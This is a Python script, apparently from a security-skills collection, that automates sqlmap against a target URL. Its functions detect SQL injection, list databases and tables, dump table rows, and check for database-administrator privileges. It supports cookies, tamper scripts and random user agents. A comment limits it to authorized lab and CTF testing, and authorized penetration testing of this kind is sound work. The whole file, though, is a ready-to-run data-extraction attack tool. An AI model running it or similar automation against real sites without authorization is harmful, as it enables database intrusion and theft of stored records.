Anthropic-Cybersecurity-Skills/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py

#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""sqlmap automation agent for orchestrating SQL injection scans via subprocess."""

import argparse
import json
import logging
import subprocess
import sys
from datetime import datetime
from typing import List, Optional

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def find_sqlmap() -> str:
    """Locate the sqlmap executable."""
    for path in ["sqlmap", "sqlmap.py", "/usr/bin/sqlmap", "/usr/local/bin/sqlmap"]:
        try:
            subprocess.run([path, "--version"], capture_output=True, timeout=5)
            return path
        except (FileNotFoundError, subprocess.TimeoutExpired):
            continue
    sys.exit("sqlmap not found. Install: pip install sqlmap")


def run_detection_scan(sqlmap_bin: str, url: str, param: Optional[str] = None,
                        request_file: Optional[str] = None,
                        cookie: str = "", tamper: str = "") -> dict:
    """Run sqlmap detection scan and parse results."""
    cmd = [sqlmap_bin, "--batch", "--random-agent", "--output-dir=/tmp/sqlmap_out"]

    if request_file:
        cmd.extend(["-r", request_file])
    else:
        cmd.extend(["-u", url])

    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])
    if tamper:
        cmd.extend(["--tamper", tamper])

    logger.info("Running: %s", " ".join(cmd))
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)

    output = result.stdout
    injectable = "is vulnerable" in output.lower() or "injectable" in output.lower()
    db_type = _extract_db_type(output)
    techniques = _extract_techniques(output)

    return {
        "scan_type": "detection",
        "url": url or request_file,
        "injectable": injectable,
        "database": db_type,
        "techniques": techniques,
        "exit_code": result.returncode,
    }


def enumerate_databases(sqlmap_bin: str, url: str, param: Optional[str] = None,
                         cookie: str = "") -> List[str]:
    """Enumerate databases using sqlmap --dbs."""
    cmd = [sqlmap_bin, "-u", url, "--dbs", "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    databases = []
    in_db_section = False
    for line in result.stdout.split("\n"):
        if "available databases" in line.lower():
            in_db_section = True
            continue
        if in_db_section and line.strip().startswith("[*]"):
            db_name = line.strip().replace("[*] ", "")
            databases.append(db_name)
        elif in_db_section and not line.strip():
            break

    logger.info("Found %d databases", len(databases))
    return databases


def enumerate_tables(sqlmap_bin: str, url: str, database: str,
                      param: Optional[str] = None, cookie: str = "") -> List[str]:
    """Enumerate tables in a specific database."""
    cmd = [sqlmap_bin, "-u", url, "-D", database, "--tables",
           "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    tables = []
    for line in result.stdout.split("\n"):
        stripped = line.strip()
        if stripped.startswith("| ") and not stripped.startswith("+-"):
            table_name = stripped.strip("| ").strip()
            if table_name and table_name != "Table":
                tables.append(table_name)

    logger.info("Found %d tables in %s", len(tables), database)
    return tables


def dump_table(sqlmap_bin: str, url: str, database: str, table: str,
                columns: Optional[List[str]] = None, limit: int = 10,
                param: Optional[str] = None, cookie: str = "") -> dict:
    """Dump rows from a specific table with optional column and row limit."""
    cmd = [sqlmap_bin, "-u", url, "-D", database, "-T", table, "--dump",
           "--start=1", f"--stop={limit}", "--batch", "--random-agent"]
    if columns:
        cmd.extend(["-C", ",".join(columns)])
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    return {
        "database": database,
        "table": table,
        "limit": limit,
        "output": result.stdout[-2000:] if len(result.stdout) > 2000 else result.stdout,
        "exit_code": result.returncode,
    }


def check_privileges(sqlmap_bin: str, url: str, param: Optional[str] = None,
                      cookie: str = "") -> dict:
    """Check current database user and DBA privileges."""
    cmd = [sqlmap_bin, "-u", url, "--current-user", "--current-db", "--is-dba",
           "--batch", "--random-agent"]
    if param:
        cmd.extend(["-p", param])
    if cookie:
        cmd.extend(["--cookie", cookie])

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
    output = result.stdout

    current_user = _extract_value(output, "current user")
    current_db = _extract_value(output, "current database")
    is_dba = "true" in output.lower().split("current user is DBA")[-1][:20].lower() if "current user is DBA" in output else False

    return {"current_user": current_user, "current_db": current_db, "is_dba": is_dba}


def _extract_db_type(output: str) -> str:
    for db in ["MySQL", "PostgreSQL", "Microsoft SQL Server", "Oracle", "SQLite"]:
        if db.lower() in output.lower():
            return db
    return "unknown"


def _extract_techniques(output: str) -> List[str]:
    techniques = []
    for tech in ["boolean-based", "error-based", "UNION query", "stacked queries",
                 "time-based", "inline query"]:
        if tech.lower() in output.lower():
            techniques.append(tech)
    return techniques


def _extract_value(output: str, label: str) -> str:
    for line in output.split("\n"):
        if label.lower() in line.lower():
            parts = line.split(":")
            if len(parts) > 1:
                return parts[-1].strip().strip("'\"")
    return ""


def main():
    parser = argparse.ArgumentParser(description="sqlmap Automation Agent")
    parser.add_argument("--url", required=True, help="Target URL with injectable param")
    parser.add_argument("--param", help="Specific parameter to test")
    parser.add_argument("--cookie", default="", help="Cookie header value")
    parser.add_argument("--tamper", default="", help="Tamper scripts (comma-separated)")
    parser.add_argument("--action", choices=["detect", "dbs", "tables", "dump", "privs"],
                         default="detect")
    parser.add_argument("--database", help="Database name for table/dump actions")
    parser.add_argument("--table", help="Table name for dump action")
    parser.add_argument("--output", default="sqlmap_report.json")
    args = parser.parse_args()

    sqlmap_bin = find_sqlmap()
    report = {"action": args.action, "url": args.url, "timestamp": datetime.utcnow().isoformat()}

    if args.action == "detect":
        report["result"] = run_detection_scan(sqlmap_bin, args.url, args.param,
                                               cookie=args.cookie, tamper=args.tamper)
    elif args.action == "dbs":
        report["databases"] = enumerate_databases(sqlmap_bin, args.url, args.param, args.cookie)
    elif args.action == "tables" and args.database:
        report["tables"] = enumerate_tables(sqlmap_bin, args.url, args.database, args.param, args.cookie)
    elif args.action == "dump" and args.database and args.table:
        report["dump"] = dump_table(sqlmap_bin, args.url, args.database, args.table,
                                     param=args.param, cookie=args.cookie)
    elif args.action == "privs":
        report["privileges"] = check_privileges(sqlmap_bin, args.url, args.param, args.cookie)

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()